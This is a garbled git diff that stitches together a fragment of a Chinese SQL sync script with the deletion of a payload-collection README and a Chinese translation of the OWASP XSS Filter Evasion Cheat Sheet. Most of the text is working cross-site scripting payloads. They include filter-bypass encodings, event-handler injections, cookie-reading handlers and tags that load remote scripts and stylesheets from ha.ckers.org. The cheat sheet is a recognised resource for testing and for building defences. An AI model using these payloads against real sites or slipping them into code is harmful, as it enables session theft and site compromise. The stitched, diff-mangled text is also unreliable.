select id,name,telphone from author i
|
||||
|
||||
where not exists(
|
||||
|
||||
select * from srv2.库名.dbo.author where id=i.id)
|
||||
|
||||
|
||||
|
||||
--删除已经删除的数据(如果需要的话)
|
||||
|
||||
delete b
|
||||
|
||||
from srv2.库名.dbo.author b
|
||||
|
||||
where not exists(
|
||||
|
||||
select * from author where id=b.id)
|
||||
|
||||
go
|
||||
Binary file not shown.
|
|
@ -1 +0,0 @@
|
|||
# some useful payloads collected from internet may give you a hand.maybe it would do you a favorite
|
||||
|
|
@ -1,817 +0,0 @@
|
|||
XSS Filter Evasion Cheat Sheet 中文版
|
||||
==================================
|
||||
源文档地址：https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
|
||||
|
||||
翻译文档github地址：https://github.com/caomulaodao/XSS-Filter-Evasion-Cheat-Sheet-CN
|
||||
|
||||
-----
|
||||
##xss 探测器##
|
||||
注入下面这些代码，在大多数没有特殊xss向量要求而易遭受脚本攻击的地方将会弹出单词“xss”。使用[url编码器][1]去编码你的整个代码。小技巧：如果你是急切的需要快去检测一个页面，通常只需要注入轻量的 "<任意字符>" 标签，然后判断输出点是否受到干扰就可以判断是否xss漏洞了。
|
||||
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
|
||||
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
|
||||
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
|
||||
-------
|
||||
|
||||
##xss 探测器2##
|
||||
如果你没有充足的输入空间去检测页面是否存在xss漏洞。下面这段代码是一个好的简洁的xss注入检测代码。在注入这段代码后，查看页面源代码寻找是否存在看起来像 <XSS verses <XSS这样的输出点从而判断是否存在xss漏洞。
|
||||
|
||||
'';!--"<XSS>=&{()}
|
||||
|
||||
---------
|
||||
|
||||
##无过滤绕过##
|
||||
这是一个常规的xss注入代码，虽然通常它会被防御，但是我们建议首先去尝试它。（引号是不被需要的在任何现代浏览器中，因此这里省略了它。）
|
||||
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
|
||||
-------
|
||||
|
||||
-------
|
||||
##通过javascript指令实现的图片xss##
|
||||
|
||||
图片xss依靠javascript指令实现。（IE7.0不支持javascript指令在图片上下文中，但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理。）
|
||||
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
|
||||
-----
|
||||
##无引号无分号##
|
||||
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
|
||||
-----
|
||||
##不区分大小写的xss攻击向量##
|
||||
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
|
||||
------
|
||||
##html 实体##
|
||||
The semicolons are required for this to work:
|
||||
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
|
||||
-----
|
||||
##重音符混淆##
|
||||
如果你的javascript代码中需要同时使用单引号和双引号，那么可以使用重音符（`）来包裹javascript代码。它也经常会非常有用因为xss过滤代码未考虑到这个字符。
|
||||
|
||||
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
|
||||
|
||||
-----
|
||||
##畸形的A标签##
|
||||
跳过href属性，而直接获取xss实质攻击代码...提出被David Cross ~ 已验证在chrome浏览器
|
||||
|
||||
<a onmouseover="alert(document.cookie)">xxs link</a>
|
||||
|
||||
此外，chrome浏览器喜欢去补全缺失的引号为你。如果你遇到阻碍那么直接省略它们吧，chrome将会正确的帮你补全缺失的引号在URL和script中。
|
||||
|
||||
<a onmouseover=alert(document.cookie)>xxs link</a>
|
||||
|
||||
------
|
||||
##畸形的IMG标签##
|
||||
最早被 Begeek发现（可以短小而干净的运行于任何浏览器），这个xss向量依靠松散的渲染引擎解析IMG标签中被引号包含的字符串来实现。我猜测它最初是为了正确编码而这样实现，但这样让它更加困难去解析html。
|
||||
|
||||
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||
|
||||
-----
|
||||
##fromCharCode##
|
||||
如果没有任何形式的引号被允许，你可以eval()一串fromCharCode在javascript中来创建任何你需要的xss向量。
|
||||
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
|
||||
-----
|
||||
##默认SRC属性去绕过SRC域名检测过滤器##
|
||||
这将绕过绝大多数SRC域名过滤器。插入javascript代码在任何一个事件方法同样适用于任何一个HTML标签，例如Form、Iframe、Input、Embed等等。它也允许任何该标签的相关事件去替换，例如onblur, onclick等，后面我们会附加一个可用的事件列表。由David Cross提供，Abdullah Hussam编辑。
|
||||
|
||||
<IMG SRC=# onmouseover="alert('xxs')">
|
||||
|
||||
---
|
||||
##默认SRC属性通过省略它的值##
|
||||
|
||||
<IMG SRC= onmouseover="alert('xxs')">
|
||||
|
||||
---
|
||||
##默认SRC属性通过完全不设置它##
|
||||
|
||||
<IMG onmouseover="alert('xxs')">
|
||||
|
||||
----
|
||||
##通过error事件触发alert##
|
||||
|
||||
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
|
||||
|
||||
----
|
||||
##十进制html编码引用##
|
||||
所有在<IMG>中使用javascript指令的xss示例将无法工作在 Firefox 或 Netscape 8.1+，因为它们使用了 Gecko 渲染引擎。使用 XSS [Calculator][2] 获取更多信息。
|
||||
|
||||
<IMG SRC=javascript:alert(
|
||||
'XSS')>
|
||||
|
||||
-----
|
||||
##结尾没有分号的十进制html编码引用##
|
||||
它是经常有用的在绕过寻找"&#XX;"格式的xss过滤，因为大多数人不知道最多允许7位字符的编码限制。这也是有用的对那些对字符串解码像$tmp_string =~ s/.*\&#(\d+);.*/$1/; 的过滤器,它们错误的认为一个html编码必须要用;去结束。（我是无意中发现）
|
||||
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
|
||||
-----
|
||||
##结尾没有分号的十六进制html编码引用##
|
||||
这也是一种实用的xss攻击针对上文的$tmp_string =~ s/.*\&#(\d+);.*/$1/; ，错误的认为数字编码跟随在#后面（十六进制htnl编码并非如此），。使用 XSS [Calculator][3] 获取更多信息。
|
||||
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
|
||||
----
|
||||
##内嵌TAB##
|
||||
用来分开xss攻击代码
|
||||
|
||||
<IMG SRC="jav ascript:alert('XSS');">
|
||||
|
||||
----
|
||||
##内嵌被编码的TAB##
|
||||
用来分开xss攻击代码
|
||||
|
||||
<IMG SRC="jav	ascript:alert('XSS');">
|
||||
|
||||
-----
|
||||
##内嵌换行符去分开xss代码##
|
||||
一些网站声称09-13编码的所有字符（十进制）都可以实现这种形式的攻击。这是不正确的。只有09(tab), 10 (换行) 和 13 (回车)可以使用。你可以查看ascii表为更详细的信息。下面四个xss例子展示了这个向量。
|
||||
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
|
||||
------
|
||||
##编码回车符去分开xss代码##
|
||||
注意：上面我编写的三个xss字符串比必须长度的字符串更长，原因是0可以被省略。通常我看到的过滤器假设十六进制和十进制的编码是两到三个字符，正确的应该是一到七个字符。
|
||||
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
|
||||
----
|
||||
##没有分割的javascript指令##
|
||||
null字符也可以作为一个xss向量，但不同于上面。你需要直接注入它们利用一些工具例如Burp Proxy，或是使用 %00 在你的url字符串里。或者如果你想写你自己的注入工具你可以使用vim（^V^@ 会生成null），以及用下面的程序去生成它到一个文本文件中。好吧，我再一次撒谎了。 Opera的老版本（大约 7.11 on Windows）是脆弱的对于一个额外的字符173（软连字符）。但是null字符 %00 是更加的有用或者帮助我们绕过某些真实存在的过滤器通过变动像这个例子中的。
|
||||
|
||||
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
|
||||
|
||||
------
|
||||
##IMG中javascript之前添加空格和元字符为xss绕过##
|
||||
xss过滤拼配模式没有考虑单词"javascript:"中可能存在空格是正确的，因为否则将无法渲染。但是这也导致了错误的假设认为你不可以有一个空格在引号和 "javascript:" 单词之间。事实上你可以插入 1-32编码字符（十进制）中的任何字符。
|
||||
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
|
||||
------
|
||||
##非字母数字字符的xss##
|
||||
Firefox html解析器认为一个非数字字母的字符在一个html关键字中不是有效的，因此这些字符会被视为空白符或是无效的token在html标签之后。这导致很多xss过滤器错误的认为html标签必须是被空白符隔断的。例如，"<SCRIPT\s" != "<SCRIPT/XSS\s":
|
||||
|
||||
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
和上面的原理相同，我们继续扩大，Gecko渲染引擎允许字母、数字、html封装字符以外的任何字符位于事件处理器与等号之间。借此我们可以绕过xss过滤器。注意这也是适用于重音符如下所示：
|
||||
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||||
|
||||
Yair Amit 提示我有一个小区别在 ie和Gecko 渲染引擎之间是在不使用空格的情况下，Gecko仅允许一个斜杠在html标签和参数之间。这可能是有用的在那些不允许输入空格的系统中。
|
||||
|
||||
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
-----
|
||||
##额外的开括号##
|
||||
Franz Sedlmaier提出，利用这个xss向量可以绕过某些检测引擎，因为这些引擎通过拼配最早出现的一对尖括号，并且提取其内部内容作为标签，而没有使用更加有效的算法例如 Boyer-Moore（寻找打开的尖括号以及相关标签的模糊拼配）。最后，代码中的双斜杠可以抑制额外尖括号导致的javascript错误。
|
||||
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
|
||||
------
|
||||
##没关闭的script标签##
|
||||
对于使用了 Gecko渲染引擎的Firefox 和 Netscape 8.1 ，你并不需要常规xss中"></SCRIPT>"这部分。 Firefox会帮你闭合标签，并且加入结束标签。多么的体贴啊！ Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. 如果需要，你可以加入引号，但通常他并不是必须的。注意，我并不清楚这个代码被注入后html代码会闭合成什么样子。
|
||||
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
|
||||
|
||||
-----
|
||||
##script标签中的协议解析#
|
||||
这个特殊的变体由 ?ukasz Pilorz 提出，并且基于上文中 Ozh提出的协议解析绕过。这个xss例子工作在 IE, 使用IE渲染引擎的Netscape 以及加了</SCRIPT>在结尾的 Opera。这是非常有用的在输入长度受到限制。域名越短越好。 ".j"是有效的，不需要考虑编码问题因为浏览拿起可以自动识别在一个script标签中。
|
||||
|
||||
<SCRIPT SRC=//ha.ckers.org/.j>
|
||||
|
||||
----
|
||||
##半开的HTML/JavaScript xss向量##
|
||||
不同于 Firefox ，ie渲染引擎不会加入额外的数据到你的页面。但是它允许javascript指令在IMG标签中，这是有用的作为一个xss向量，因为它不需要一个结束的尖括号。你可以使用这个xss向量在任何html标签中，甚至没有用">"闭合标签。 A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". 它也是有效的去对付真实的xss过滤器，我曾经用半开的<IFRAME 标签替代 <IMG 标签去绕过过滤器。
|
||||
|
||||
<IMG SRC="javascript:alert('XSS')"
|
||||
|
||||
------
|
||||
##双开尖括号##
|
||||
使用一个开始尖括号(<)在向量结尾代替一个关闭尖括号（>）会有不同的影响在 Netscape Gecko 的渲染中。 Without it, Firefox will work but Netscape won't。
|
||||
|
||||
<iframe src=http://ha.ckers.org/scriptlet.html <
|
||||
|
||||
-----
|
||||
##转义javascript中的转义##
|
||||
当一个应用程序是输出用户自定义的信息到javascript代码中时，例如： <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT>。如果你想插入你自己的javascript代码进入它，但是服务器转义了其中的某些引号，这时你需要通过再转义被转义的字符来绕过它。因此使最终的输入代码类似于<SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> 。最终\转义了双引号前被服务器添加的\，从而使双引号不会被转义，因此触发xss向量。xss定位器使用这个方法。
|
||||
|
||||
\";alert('XSS');//
|
||||
|
||||
-----
|
||||
##闭合title标签##
|
||||
这是一个简单的xss向量，可以引入一个恶意的xss攻击。
|
||||
*译者注：titile标签内部不支持html代码，所有内容会被自动转义为普通字符。*
|
||||
|
||||
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
|
||||
|
||||
-----
|
||||
##INPUT image##
|
||||
|
||||
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||
|
||||
-----
|
||||
##BODY image##
|
||||
|
||||
<BODY BACKGROUND="javascript:alert('XSS')">
|
||||
|
||||
----
|
||||
##IMG DYNSRC(视频剪辑) ##
|
||||
|
||||
<IMG DYNSRC="javascript:alert('XSS')">
|
||||
|
||||
----
|
||||
##IMG lowsrc（低分辨率图片）##
|
||||
|
||||
<IMG LOWSRC="javascript:alert('XSS')">
|
||||
|
||||
-----
|
||||
##List-style-image##
|
||||
|
||||
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
|
||||
|
||||
-----
|
||||
##List-style-image##
|
||||
为符号列表嵌入自定义图片的符号。它是只能工作在ie渲染引擎因为使用了javascript指令。这不是一个特别有用的xss向量。
|
||||
|
||||
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
|
||||
|
||||
----
|
||||
##VBscript in an image##
|
||||
|
||||
<IMG SRC='vbscript:msgbox("XSS")'>
|
||||
|
||||
-----
|
||||
##Livescript (仅适用于老版本的Netscape)##
|
||||
|
||||
<IMG SRC="livescript:[code]">
|
||||
|
||||
-----
|
||||
##BODY 标签##
|
||||
这个方法不需要使用任何"javascript:" 或 "<SCRIPT..." 的变体去实现xss攻击。Dan Crowley特别指出你可以额外的加入一个空格在等号之前("onload=" != "onload ="):
|
||||
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
|
||||
-----
|
||||
##事件处理程序##
|
||||
它可以被用于上文中的一些共性xss攻击（这是最完整的一个实时更新的在线列表）。感谢Rene Ledosquet 的更新。此外你可以参考 [Dottoro Web Reference][4] 或是 [events in JavaScript][5].
|
||||
|
||||
1. FSCommand() (攻击者可以使用它当执行一个嵌入的flash对象时)
|
||||
2. onAbort() (当使用者终止一张正在载入的图片)
|
||||
3. onActivate() (当对象被被设置为激活元素)
|
||||
4. onAfterPrint() (用户打印或是预览打印工作后激活)
|
||||
5. onAfterUpdate() (激活在一个数据对象当源对象数据更新后)
|
||||
6. onBeforeActivate() (当对象被被设置为激活元素时触发)
|
||||
7. onBeforeCopy() (攻击者执行攻击代码在一个选区被复制到剪贴板之前-攻击者也可以实现它通过execCommand("Copy")函数。)
|
||||
8. onBeforeCut() (攻击者执行攻击代码在在一个选区被剪贴。)
|
||||
9. onBeforeDeactivate() (当激活元素被改变后触发)
|
||||
10. onBeforeEditFocus() (触发在一个可被编辑的元素内的对象当其处于一个 UI-activated状态或是一个可被编辑对象被选择之前)
|
||||
11. onBeforePaste() (用户需要被欺骗执行粘贴或是去触发它通过execCommand("Paste")函数。)
|
||||
12. onBeforePrint() (用户需要被欺骗执行打印或是攻击者可以使用print()或是execCommand("Print")函数。)
|
||||
13. onBeforeUnload() (用户需要被欺骗关闭浏览器-攻击者不可以 unload windows除非它是被执行从其父窗口。)
|
||||
14. onBeforeUpdate() (激活在数据对象在源对象更新数据之后。)
|
||||
15. onBegin() (onbegin 事件被立即触发当元素的声明周期开始后)
|
||||
16. onBlur() (当失去焦点时触发)
|
||||
17. onBounce() (触发当选框对象的behavior属性被设置为"alternate"或是选框的内容抵达窗口的一边。)
|
||||
18. onCellChange() (触发当数据改变在数据provider)
|
||||
19. onChange() (select, text, or TEXTAREA 字段失去焦点或是它们的值是被改变。)
|
||||
20. onClick()(点击事件)
|
||||
21. onContextMenu() (用户需要右击在攻击攻击区域)
|
||||
22. onControlSelect() (当用户去控制一个选择对象时触发。)
|
||||
23. onCopy() (用户需要去copy某些东西或是利用execCommand("Copy")命令)
|
||||
24. onCut() (用户需要copy某些东西或是利用execCommand("Cut") 命令)
|
||||
25. onDataAvailable() (用户改变数据在某个元素上或是攻击者可以执行相同的函数。)
|
||||
26. onDataSetChanged() (当源数据对象被改变时触发)
|
||||
27. onDataSetComplete() (触发当数据是成功获取到从数据源对象)
|
||||
28. onDblClick() (用户双击某个元素。)
|
||||
29. onDeactivate() (当当前元素失去激活状态时触发)
|
||||
30. onDrag() (需要用户拖动某个对象)
|
||||
31. onDragEnd() (需要用户拖动某个对象)
|
||||
32. onDragLeave() (需要用户拖动某个对象从一个有效的位置。)
|
||||
33. onDragEnter() (需要用户拖动某个对象从一个有效的位置。)
|
||||
34. onDragOver() (需要用户拖动某个对象从一个有效的位置。)
|
||||
35. onDragDrop() (用户拖动某个对象（例如文件）到浏览器窗口内。)
|
||||
36. onDragStart() (当用户开始拖动操作时发生。)
|
||||
37. onDrop() (用户拖动某个对象（例如文件）到浏览器窗口内。)
|
||||
38. onEnd() (当生命周期结束时触发）
|
||||
39. onError() (载入document 或 image发生错误时触发)
|
||||
40. onErrorUpdate() (当更新数据源的相关对象时发生错误则触发)
|
||||
41. onFilterChange() (当一个滤镜完成状态改变时触发)
|
||||
42. onFinish() (移动的Marquee文字完成一次移动时触发)
|
||||
43. onFocus() (当窗口获得焦点时攻击者可以执行代码)
|
||||
44. onFocusIn() (当窗口获得焦点时攻击者可以执行代码)
|
||||
45. onFocusOut() (当窗口失去焦点时攻击者可以执行代码)
|
||||
46. onHashChange() (当当前地址的hash发生改变时触发)
|
||||
47. onHelp() (当用户在当前窗口点击F1时触发攻击代码)
|
||||
48. onInput() (可编辑元素中的内容被用户改变后出发)
|
||||
49. onKeyDown() (用户按下一个键)
|
||||
50. onKeyPress() (用户点击或是按下一个键)
|
||||
51. onKeyUp() (用户释放一个键)
|
||||
52. onLayoutComplete() (用户需要去打印或是打印预览)
|
||||
53. onLoad() (攻击者执行攻击代码在窗口载入后)
|
||||
54. onLoseCapture() (可以被触发被releaseCapture() 方法)
|
||||
55. onMediaComplete() (当波翻改一个流媒体文件时，这个事件将触发在文件开始播放前。)
|
||||
56. onMediaError() (当用户打开的页面包含一个媒体文件，并且发生错误时触发)
|
||||
57. onMessage() (当文档对象接受到一个信息时触发)
|
||||
58. onMouseDown() (攻击者需要让用户去点击一张图片。)
|
||||
59. onMouseEnter() (光标移入一个对象或是区域)
|
||||
60. onMouseLeave() (攻击者需要让用户移动光标进入一个图片或是表格，接着再次移出)
|
||||
61. onMouseMove() (攻击者需要让用户移动鼠标进入一个图片或是表格上)
|
||||
63. onMouseOver() (光标移到一个对象或是区域上)
|
||||
64. onMouseUp() (攻击者需要让用户点击一张图片)
|
||||
65. onMouseWheel() (攻击者需要让用户去使用他们的鼠标滚轮)
|
||||
66. onMove() (用户或攻击者需要移动页面)
|
||||
67. onMoveEnd() (用户或攻击者需要移动页面)
|
||||
68. onMoveStart() (用户或攻击者需要移动页面)
|
||||
69. onOffline() (浏览器从在线模式转换到离线模式时发生)
|
||||
70. onOnline() (浏览器从离线模式转换到在线模式时发生)
|
||||
71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
|
||||
72. onPaste() (用户需要去粘贴或是攻击者执行execCommand("Paste") 方法)
|
||||
73. onPause() (当激活元素时间停顿时触发，包括body元素)
|
||||
74. onPopState() (当用户返回会话历史时触发)
|
||||
75. onProgress() (当一个flash动画载入时触发)
|
||||
76. onPropertyChange() (用户或攻击者需要改变一个元素的属性)
|
||||
77. onReadyStateChange() (用户或攻击者需要改变一个元素的属性)
|
||||
78. onRedo() (用户执行再执行操作)
|
||||
79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
|
||||
80. onReset() (用户或攻击者重置表单)
|
||||
81. onResize() (用户调整窗口大小，或是攻击者自动触发通过某些代码例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
|
||||
82. onResizeEnd() (用户调整窗口大小，或是攻击者自动触发通过某些代码例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
|
||||
83. onResizeStart() (用户调整窗口大小，或是攻击者自动触发通过某些代码例如<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
|
||||
84. onResume() (当元素从暂停恢复到激活时触发,包括body元素)
|
||||
85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
|
||||
86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
|
||||
87. onRowExit() (用户或攻击者需要改变数据源中的一行)
|
||||
88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
|
||||
89. onRowInserted() (用户或攻击者需要向数据源中插入一行)
|
||||
90. onScroll() (用户需要滚动,或是攻击者可以执行scrollBy() 函数)
|
||||
91. onSeek() (媒体播放移动到新位置)
|
||||
92. onSelect() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
|
||||
93. onSelectionChange() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
|
||||
94. onSelectStart() (用户需要去选择一些文本 - 攻击者可以自动运行利用某些方法例如 window.document.execCommand("SelectAll");)
|
||||
95. onStart() (当marquee元素循环开始时触发)
|
||||
96. onStop() (用户需要点击停止按钮或是离开网页)
|
||||
97. onStorage() (存储区域改变)
|
||||
98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
|
||||
99. onSubmit() (需要攻击者或用户提交表单)
|
||||
100. onTimeError() (用户或攻击者需要设置一个时间属性例如 dur 的值为无效的值)
|
||||
101. onTrackChange() (用户或攻击者需要改变播放列表的轨迹)
|
||||
102. onUndo() (user went backward in undo transaction history)
|
||||
103. onUnload() (当用户点击一个链接或是按下回车键或是攻击者触发一个点击事件)
|
||||
104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
|
||||
105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
|
||||
|
||||
-----
|
||||
##BGSOUND(背景音乐)##
|
||||
|
||||
<BGSOUND SRC="javascript:alert('XSS');">
|
||||
|
||||
----
|
||||
##& JavaScript 包含##
|
||||
|
||||
<BR SIZE="&{alert('XSS')}">
|
||||
|
||||
-----
|
||||
##样式表##
|
||||
|
||||
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
|
||||
|
||||
-----
|
||||
##远程样式表##
|
||||
（通过某些方式例如最简单的远程样式表，你可以在表达式类型的样式参数中嵌入xss代码）。它是仅仅工作在IE浏览器或是使用了IE渲染引擎的Netscape 8.1+。需要注意的是页面中并没有展现出它包含了javascript代码。注意：所有的远程样式表xss需要至少页面包含body标签，否则将无法工作。或者页面中包含除了向量本身外的其他内容。因此如果它是一个空白页面，你需要添加至少一个字母到页面确保它可以工作。
|
||||
|
||||
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
|
||||
|
||||
------
|
||||
##远程样式表2##
|
||||
原理与上面相同。但是使用了STYLE标签代替LINK标签。与此向量稍有不同的变异型曾被用于攻击Google Desktop。你也可以移除</STYLE>标签让后面的html去闭合它。在不允许输入等号或是反斜杠的实际环境中这个向量是有用的。
|
||||
|
||||
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||
|
||||
----
|
||||
##远程样式表3##
|
||||
它仅仅可以工作在 Opera 8.0 (no longer in 9.x) ，但它是非常的阴险。根据RFC2616规定，设置一个http头不是 HTTP1.1 规定的一部分，但是很多浏览器仍然允许它（例如Firefox and Opera）。这个技巧是我们可以设置一个http头（与常规http头没有什么不同，除了 Link: <http://ha.ckers.org/xss.css>; REL=stylesheet）。这样带有xss代码的远程向量将运行javascript。它不被支持在 FireFox。
|
||||
|
||||
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
|
||||
|
||||
----
|
||||
##远程样式表4##
|
||||
它是仅仅工作在 Gecko 渲染引擎。并且需要绑定一个 XUL文件在页面。令人讽刺的是Netscape认为Gecko是更加安全的，因此绝大多是网站会受到这个攻击。
|
||||
|
||||
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
|
||||
|
||||
------
|
||||
##分隔javascript在STYLE标签##
|
||||
这个xss在ie浏览器中会造成无线循环的弹窗
|
||||
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
|
||||
-----
|
||||
##STYLE属性中使用注释去分隔表达式##
|
||||
提出被 Roman Ivanov
|
||||
|
||||
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
|
||||
----
|
||||
##IMG样式的表达式##
|
||||
这是上面xss向量的混合体。不过它展示了STYLE标签被分隔有多困难。同样它也会在ie下造成循环弹窗。
|
||||
|
||||
exp/*<A STYLE='no\xss:noxss("*//*");
|
||||
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
|
||||
|
||||
----
|
||||
##STYLE标签（仅支持老版本的Netscape）##
|
||||
|
||||
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
|
||||
|
||||
-----
|
||||
##使用background-image的style标签##
|
||||
|
||||
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
|
||||
|
||||
-----
|
||||
##使用background的style标签##
|
||||
|
||||
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||
|
||||
-----
|
||||
##匿名html标签的属性##
|
||||
IE6.0 和使用了ie渲染引擎的Netscape 8.1+ 并不会关心你创建的html标签存在与否。只要它是以尖括号以及字符开始的。
|
||||
|
||||
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||
|
||||
----
|
||||
##本地 htc 文件##
|
||||
它有一个小的不同与上面的xss向量，因为他使用的 htc 文件必须是当前域的文件。这个文件通过样式属性引入并运行javascript代码实现xss。
|
||||
|
||||
<XSS STYLE="behavior: url(xss.htc);">
|
||||
|
||||
----
|
||||
##US-ASCII编码##
|
||||
US-ASCII 编码 (发现被 Kurt Huwig)。它是使用畸形的ASCII 编码用7bits代替8bits. 这个xss可以绕过绝大多数内容过滤，但是必须当前域的传输形式为 US-ASCII编码方式。或者你自己将当前页面设置为种编码方式 。它是更加有用的去绕过web应用防火墙xss过滤比服务器端的过滤。Apache的 Tomcat是众所周知的 使用US-ASCII编码传输协议。
|
||||
|
||||
?script?alert(￠XSS￠)?/script?
|
||||
|
||||
----
|
||||
##META##
|
||||
关于meta refresh比较奇怪的是它并不会发送一个刷新请求头。因此它通常用于那些不需要引用url的攻击。
|
||||
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||
|
||||
-----
|
||||
##META using data##
|
||||
URL指令方案是非常的不错，因为它没有明显的SCRIPT单词或是JavaScript 指令出现，而是使用了base64 编码。请查看 [RFC 2397][6]了解更多信息或是编码你的代码。你也可以使用 [XSS calculator][7]去编码你的html或是javascript代码到base64编码。
|
||||
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
|
||||
-----
|
||||
##额外url参数的META##
|
||||
如果当前网页试图去查找URL参数是否以"http://" 开始，你可以用下列技术绕过（被 Moritz Naumann提出）
|
||||
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
||||
|
||||
-----
|
||||
##IFRAME##
|
||||
如果一个iframes被允许，那么同时可能会存在大量其他xss问题
|
||||
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
|
||||
-----
|
||||
##IFRAME 基于事件##
|
||||
IFrames或其他元素可以使用事件如下（提出被 David Cross）
|
||||
|
||||
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
|
||||
|
||||
----
|
||||
##FRAME##
|
||||
Frames有一系列像iframes一样的问题
|
||||
|
||||
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
|
||||
----
|
||||
##TABLE##
|
||||
|
||||
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||
|
||||
------
|
||||
##TD##
|
||||
像上面一样，TD也可以通过 BACKGROUND 来包含javascript xss向量
|
||||
|
||||
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
|
||||
|
||||
-----
|
||||
##DIV background-image##
|
||||
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
|
||||
----
|
||||
##使用 unicoded编码xss利用代码在DIV background-image##
|
||||
它是被轻微的修改去混淆 url 参数。最早被发现被 Renaud Lifchitz用于攻击hotmail。
|
||||
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
|
||||
|
||||
-----
|
||||
##附加额外字符在DIV background-image##
|
||||
Rnaske开发了一个XSS fuzzer去探测可以在开括号和javascript之间加入哪些额外字符在 IE和安全模式下的 Netscape 8.1。这里都是一些十进制的字符，但是你也可以用十六进制来填充。（下面这些编码字符可以被使用：1-32, 34, 39, 160, 8192-8.13, 12288, 65279）
|
||||
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
|
||||
-----
|
||||
##DIV expression##
|
||||
在冒号和表达式之间添加换行符是一个更加有效的去绕过实际的xss过滤器的表达式变体。
|
||||
|
||||
<DIV STYLE="width: expression(alert('XSS'));">
|
||||
|
||||
-----
|
||||
##html条件选择注释块##
|
||||
